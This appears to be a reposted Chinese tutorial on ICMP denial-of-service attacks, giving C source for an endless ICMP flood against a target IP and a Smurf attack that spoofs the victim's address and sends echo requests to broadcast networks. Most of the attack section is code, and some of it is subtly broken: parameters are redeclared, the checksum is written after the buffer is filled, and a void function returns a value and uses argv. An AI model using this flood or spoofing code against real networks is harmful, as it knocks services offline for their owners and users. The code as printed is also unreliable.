ICMP拒絕服務的攻擊(原始通訊端系列四)

來源:互聯網
上載者:User

標籤:des   style   class   code   http   tar   

拒絕服務的攻擊(DoS)企圖通過使被攻擊的電腦資源消耗殆盡從而不能再提供服務,拒絕服務的攻擊是最容易實施的攻擊行為。中美駭客大戰中的中國駭客一般對美進行的就是拒絕服務的攻擊,其技術手段大多不夠高明。

  ICMP實現拒絕服務的攻擊的途徑有二:一者"單刀直入",一者"借刀殺人"。具體過程分析如下:
  
   ICMP FLOOD攻擊

  大量的 ICMP訊息發送給目標系統,使得它不能夠對合法的服務要求做出響應。中美駭客大戰中的多數中國駭客採用的正是此項技術。ICMP FLOOD攻擊實際上是一種兩敗俱傷的攻擊方式,在主機"瘋狂"地向攻擊目標發送ICMP訊息的時候,主機也在消耗自身的系統資源。如果自身的網路資源小於目標的話,這種攻擊就是"蚍蜉撼大樹"。因此,ICMP FLOOD攻擊為了達到很好的效果,往往要聯合多台機器同時攻擊同一台機器,從而形成分散式阻斷服務攻擊(DDoS)。

  調用下面的程式可實現ICMP Flood攻擊:

 

int icmpFlood(int PacketSize, char *DestIp, int type, int code)
{
 int datasize, ErrorCode;
 int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0;
 char SendBuf[65535] = { 0 };
 WSADATA wsaData;
 SOCKET SockRaw = (SOCKET)NULL;
 struct sockaddr_in DestAddr;
 ICMP_HEADER icmp_header; 
 if (PacketSize > 65500)
 {
  return FALSE;
 }

 if (type > 16)
 {
  return FALSE;
 }

 if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
 {
  return FALSE;
 }

 if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
 {
  return FALSE;
 }

 ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut));
 if (ErrorCode == SOCKET_ERROR)
 {
  return FALSE;
 }

 printf("Starting...\n\n");
 memset(&DestAddr, 0, sizeof(DestAddr));
 DestAddr.sin_family = AF_INET;
 DestAddr.sin_addr.s_addr = inet_addr(DestIp);

 icmp_header.i_type = type;
 icmp_header.i_code = code;
 icmp_header.i_cksum = 0;
 icmp_header.i_id = 2;
 icmp_header.timestamp = GetTickCount();
 icmp_header.i_seq = 999;
 memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
 memset(SendBuf + sizeof(icmp_header), ‘E‘, PacketSize);
 icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize);

 datasize = sizeof(icmp_header) + PacketSize;

 while (1)
 {
  printf("Sending 1024 packets...\n");
  for (counter = 0; counter < 1024; counter++)
  {
   ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));
   if (ErrorCode == SOCKET_ERROR)
    printf("\nSend Error:%d\n", GetLastError());
  }
 }

 if (SockRaw != INVALID_SOCKET)
  closesocket(SockRaw);
 WSACleanup();
 return TRUE;
}

 

 

ICMP SMURF

  攻擊者向許多地址發送ICMP Echo Request,但是它卻告訴這些地址ICMP Echo Request不是它自己發的,而是"某某"發的,這個"某某"就會成為"眾矢之的"。通過偽裝目的主機的IP地址,向多個IP 網路的廣播位址發送ICMP Echo Request資料包,使得目的主機需要消耗大量CPU 資源和有效頻寬來處理來自眾多節點的ICMP Reply資料包。該攻擊的原理如:



  可以看出,頻寬僅為128Kbps的攻擊者可以擊潰頻寬比其更大(512Kbps)的目標,因為ICMP SMURF採用的手段是"借刀殺人"!它本身並不向目標發送ICMP訊息,而是向許多遠程主機"誣告"攻擊目標向他們發送了ICMP Echo,於是這些遠程主機紛紛向攻擊目標發送ICMP Reply,導致攻擊目標崩潰。有明一代名將袁崇煥督師就是因為滿人的反間計而被崇禎淩遲,並被當時的北京市民爭其肉而食的。網路攻擊中的"借刀殺人"照樣威力無窮。

  一個實現ICMP SMURF的程式架構如下:

void icmpSmurf(void)
{
 struct sockaddr_in sin;
 struct hostent *he;
 FILE *bcastfile;
 int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
 char buf[32], **bcastaddr = malloc(8192);

 //…
 memcpy((caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(0);
 //…

 x = 0;
 while (!feof(bcastfile))
 {
  fgets(buf, 32, bcastfile);
  if (buf[0] == ‘#‘ || buf[0] == ‘\n‘ || !isdigit(buf[0]))
   continue;
  for (i = 0; i < strlen(buf); i++)
   if (buf[i] == ‘\n‘)
    buf[i] = ‘\0‘;
    bcastaddr[x] = malloc(32);
    strcpy(bcastaddr[x], buf);
    x++;
 } 
 bcastaddr[x] = 0x0;
 fclose(bcastfile);

 if (x == 0)
 {
  fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  exit( - 1);
 }
 if (pktsize > 1024)
 {
  fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
  exit( - 1);
 }

 if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
 {
  perror("getting socket");
  exit( - 1);
 }
 setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*) &bcast, sizeof(bcast));

 printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

 for (i = 0; i < num || !num; i++)
 {
  if (!(i % 25))
  {
   printf(".");
   fflush(stdout);
  }
  smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  cycle++;
  if (bcastaddr[cycle] == 0x0)
   cycle = 0;
  usleep(delay);
 }
 puts("\n\n");
 return 0;
}


  其中調用的smurf()函數為:

void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
{
 struct iphdr *ip;
 struct icmphdr *icmp;
 char *packet;

 packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
 ip = (struct iphdr*)packet;
 icmp = (struct icmphdr*)(packet + sizeof(struct iphdr));

 memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

 ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
 ip->ihl = 5;
 ip->version = 4;
 ip->ttl = 255;
 ip->tos = 0;
 ip->frag_off = 0;
 ip->protocol = IPPROTO_ICMP;
 ip->saddr = sin.sin_addr.s_addr;
 ip->daddr = dest;
 ip->check = in_chksum((u_short*)ip, sizeof(struct iphdr));
 icmp->type = 8;
 icmp->code = 0;
 icmp->checksum = in_chksum((u_short*)icmp, sizeof(struct icmphdr) + psize);

 sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0,
(struct sockaddr*) &sin, sizeof(struct sockaddr));

 free(packet); 
}

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.